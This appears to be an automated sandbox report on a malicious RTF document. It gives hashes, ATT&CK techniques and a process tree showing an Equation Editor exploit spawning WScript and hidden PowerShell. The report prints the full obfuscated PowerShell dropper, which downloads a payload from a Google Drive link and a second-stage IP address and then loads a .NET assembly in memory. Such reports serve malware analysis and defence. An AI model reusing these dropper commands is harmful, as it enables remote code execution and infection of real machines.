15723c9ed5323a6dc5b7a407c37000456bff531f06bd9e7732278eb518445547

General

Target

15723c9ed5323a6dc5b7a407c37000456bff531f06bd9e7732278eb518445547.rtf
Size

114KB
MD5

6fe3c24853e9de94688a2311999ba946
SHA1

c4383b6caefcb3050ee009394ed1ae07c4f8fd6e
SHA256

15723c9ed5323a6dc5b7a407c37000456bff531f06bd9e7732278eb518445547
SHA512

a1b12f0e1a44d7743d6159f71ab116c8b9e8499cb2d52bc8d1ae3e9f6bc91c3f16788c9be5526052f6bb23b65ceb730a9a46fa2ccd07de05dc30d51f7e9e81a3
SSDEEP

768:u+e7d8wnZX6sQ1j3ArcSGCTl4JkwHKTZ/rR7APQ8c:J/wnZ9Q1UrJWHaFAPQ3

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2788	EQNEDT32.EXE
6	2208	powershell.exe
8	2208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1892	powershell.exe
2208	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
6	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2788	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2804	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1892	powershell.exe
2208	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2804	WINWORD.EXE
2804	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 2716	2788	EQNEDT32.EXE	31
PID 2788 wrote to memory of 2716	2788	EQNEDT32.EXE	31
PID 2788 wrote to memory of 2716	2788	EQNEDT32.EXE	31
PID 2788 wrote to memory of 2716	2788	EQNEDT32.EXE	31
PID 2716 wrote to memory of 1892	2716	WScript.exe	33
PID 2716 wrote to memory of 1892	2716	WScript.exe	33
PID 2716 wrote to memory of 1892	2716	WScript.exe	33
PID 2716 wrote to memory of 1892	2716	WScript.exe	33
PID 1892 wrote to memory of 2208	1892	powershell.exe	35
PID 1892 wrote to memory of 2208	1892	powershell.exe	35
PID 1892 wrote to memory of 2208	1892	powershell.exe	35
PID 1892 wrote to memory of 2208	1892	powershell.exe	35
PID 2804 wrote to memory of 2184	2804	WINWORD.EXE	36
PID 2804 wrote to memory of 2184	2804	WINWORD.EXE	36
PID 2804 wrote to memory of 2184	2804	WINWORD.EXE	36
PID 2804 wrote to memory of 2184	2804	WINWORD.EXE	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\15723c9ed5323a6dc5b7a407c37000456bff531f06bd9e7732278eb518445547.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2184

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestoptiontogetbetterthings.vBs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJGVuVjpjb21zUEVjWzQsMjYsMjVdLUpPSU4nJykgKCgnTlY1aW1hZ2VVcmwgPSBuZjAnKydodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciBuZjA7TlY1Jysnd2ViQ2xpZW50ID0gTmV3LU8nKydiamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtOVjVpbWFnZUJ5JysndGVzJysnID0gTlY1d2ViQ2xpZW50LkRvd24nKydsb2FkRGF0YShOVjVpbWFnZVVybCk7TlY1aW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY29kaW4nKydnXTo6VVRGOC5HZXRTdHJpbmcoTlY1aScrJ21hZ2VCeXRlcyk7TlY1c3RhcnRGbCcrJ2FnID0gbmYwPDxCQVNFNjRfU1RBUlQ+Pm4nKydmMDtOVjVlbmRGbGFnID0gbmYwPDxCQVNFNjRfRU5EPj5uZjA7TlY1c3RhcnRJbmQnKydleCA9IE5WNWltYWdlVGV4dC5JbmRleE9mKE5WNXN0YXJ0RmwnKydhZyk7TlY1ZW5kSW5kZXggPSBOVjVpbWFnZVRleHQuJysnSW5kZScrJ3hPZihOVjUnKydlbmRGbGFnKTtOVjVzdGFyJysndEluZGV4IC1nZSAwIC1hbmQgTlY1ZW5kSW5kZXggLWd0IE5WNXN0YXJ0SW5kZXg7TlY1Jysnc3RhcicrJ3RJbmRleCArPSBOVjVzdGFydEZsYWcuTGVuZ3RoO05WNWJhc2U2NExlbmd0aCA9IE5WNWVuZEluZGV4IC0gTlY1c3RhcnRJbicrJ2RleCcrJztOVjViYXNlNjRDb21tYW5kID0gTlY1aW1hZ2VUZXh0LlN1YnN0cmknKyduZyhOVjVzdGFydEluZGV4LCBOVjViYXNlNjRMZW5ndGgpO05WNWJhJysnc2U2NFJldmVyc2VkID0gLWpvaW4gKE5WNWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBqMW0gRm9yRWFjaC1PYmplY3QgeyBOVjVfIH0pJysnWy0xLicrJy4tKE5WNWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07TlY1Y29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFMnKyd0cmluZyhOVjViYXNlNjRSZXZlcnNlZCk7TlY1bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmwnKydlY3Rpb24uQXNzJysnZW1ibHknKyddOicrJzpMb2FkKE5WNWNvbW1hbmRCeXRlcyk7TlY1dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChuZjBWQUluZjApO05WNScrJ3ZhaU1ldGhvZC5JbnYnKydva2UoTlY1bnVsbCwgQCcrJyhuZjB0eHQuREZGVEdGUlIvMDA1LzM5JysnMS42Ni4wNjEuNzEyLy86cHR0aG5mMCwgbmYwZGVzYXRpdmFkb25mMCwgbmYwZGVzYXRpdmFkb25mMCwgJysnbmYwZGVzYXRpdmFkJysnb25mMCwgbmYwQ2FzUG9sbmYwLCBuZjBkZXNhdGl2YWRvbmYwLCBuZjBkZXNhdGl2YWRvbmYwLG5mMGRlc2F0aXZhZG9uZjAsbmYwZGVzYXRpdmFkb25mMCxuZjBkZXNhdGl2YWRvJysnbmYwLG5mMGRlc2F0aXZhZG9uZjAsbmYwZGVzYXRpdmFkb25mMCxuZjAxbmYwLG5mMGRlc2F0aXZhZG8nKyduZjApKTsnKS5yZVBMYWNlKCdOVjUnLFtzdHJpTkddW0NIQVJdMzYpLnJlUExhY2UoJ2oxbScsW3N0cmlOR11bQ0hBUl0xMjQpLnJlUExhY2UoKFtDSEFSXTExMCtbQ0hBUl0xMDIrW0NIQVJdNDgpLFtzdHJpTkddW0NIQVJdMzkpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $enV:comsPEc[4,26,25]-JOIN'') (('NV5imageUrl = nf0'+'https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur nf0;NV5'+'webClient = New-O'+'bject System.Net.WebClient;NV5imageBy'+'tes'+' = NV5webClient.Down'+'loadData(NV5imageUrl);NV5imageText = [Sy'+'stem.Text.Encodin'+'g]::UTF8.GetString(NV5i'+'mageBytes);NV5startFl'+'ag = nf0<<BASE64_START>>n'+'f0;NV5endFlag = nf0<<BASE64_END>>nf0;NV5startInd'+'ex = NV5imageText.IndexOf(NV5startFl'+'ag);NV5endIndex = NV5imageText.'+'Inde'+'xOf(NV5'+'endFlag);NV5star'+'tIndex -ge 0 -and NV5endIndex -gt NV5startIndex;NV5'+'star'+'tIndex += NV5startFlag.Length;NV5base64Length = NV5endIndex - NV5startIn'+'dex'+';NV5base64Command = NV5imageText.Substri'+'ng(NV5startIndex, NV5base64Length);NV5ba'+'se64Reversed = -join (NV5base64Command.ToCharArray() j1m ForEach-Object { NV5_ })'+'[-1.'+'.-(NV5base64Command.Length)];NV5commandBytes = [System.Convert]::FromBase64S'+'tring(NV5base64Reversed);NV5loadedAssembly = [System.Refl'+'ection.Ass'+'embly'+']:'+':Load(NV5commandBytes);NV5vaiMethod = [dnlib.IO.Home].GetMethod(nf0VAInf0);NV5'+'vaiMethod.Inv'+'oke(NV5null, @'+'(nf0txt.DFFTGFRR/005/39'+'1.66.061.712//:ptthnf0, nf0desativadonf0, nf0desativadonf0, '+'nf0desativad'+'onf0, nf0CasPolnf0, nf0desativadonf0, nf0desativadonf0,nf0desativadonf0,nf0desativadonf0,nf0desativado'+'nf0,nf0desativadonf0,nf0desativadonf0,nf01nf0,nf0desativado'+'nf0));').rePLace('NV5',[striNG][CHAR]36).rePLace('j1m',[striNG][CHAR]124).rePLace(([CHAR]110+[CHAR]102+[CHAR]48),[striNG][CHAR]39) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
9a07962706042fabb819d4273e955333

SHA1
5eeb0ae02ff43fc4e43aef5e964b60a279898b42

SHA256
54ef4478b054001994d143584dc1d70c90cb3a4d00d243c839ccedb8a98410f0

SHA512
f82607485f21c3f0128775f880f4ad620d6b5c015f2677a99a98584ccdaefabaac2679559252c702c58c930ed27a043fa8981bbfdb9eb7ef862264ec46429ccb

Download Submit
C:\Users\Admin\AppData\Roaming\seethebestoptiontogetbetterthings.vBs

Filesize
137KB

MD5
b449b07c0e73637082cf0ce69ed3de96

SHA1
c034c97173223611719127c25f416d20f80a8227

SHA256
667c141e33d78452d648708f5d618fcc1ca4ddee2c8e85a445e612004ce39b9d

SHA512
0036936f7786b2f6102dfc99bd37866cb48def0849c638de2fc0b02d0b3020c225941395881b44cbe24422569e51f9f864505f6a04fc18734327d4babb2c5014

Download Submit
memory/2804-0-0x000000002F021000-0x000000002F022000-memory.dmp

Filesize
4KB

Download
memory/2804-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2804-2-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download
memory/2804-19-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download

Analysis

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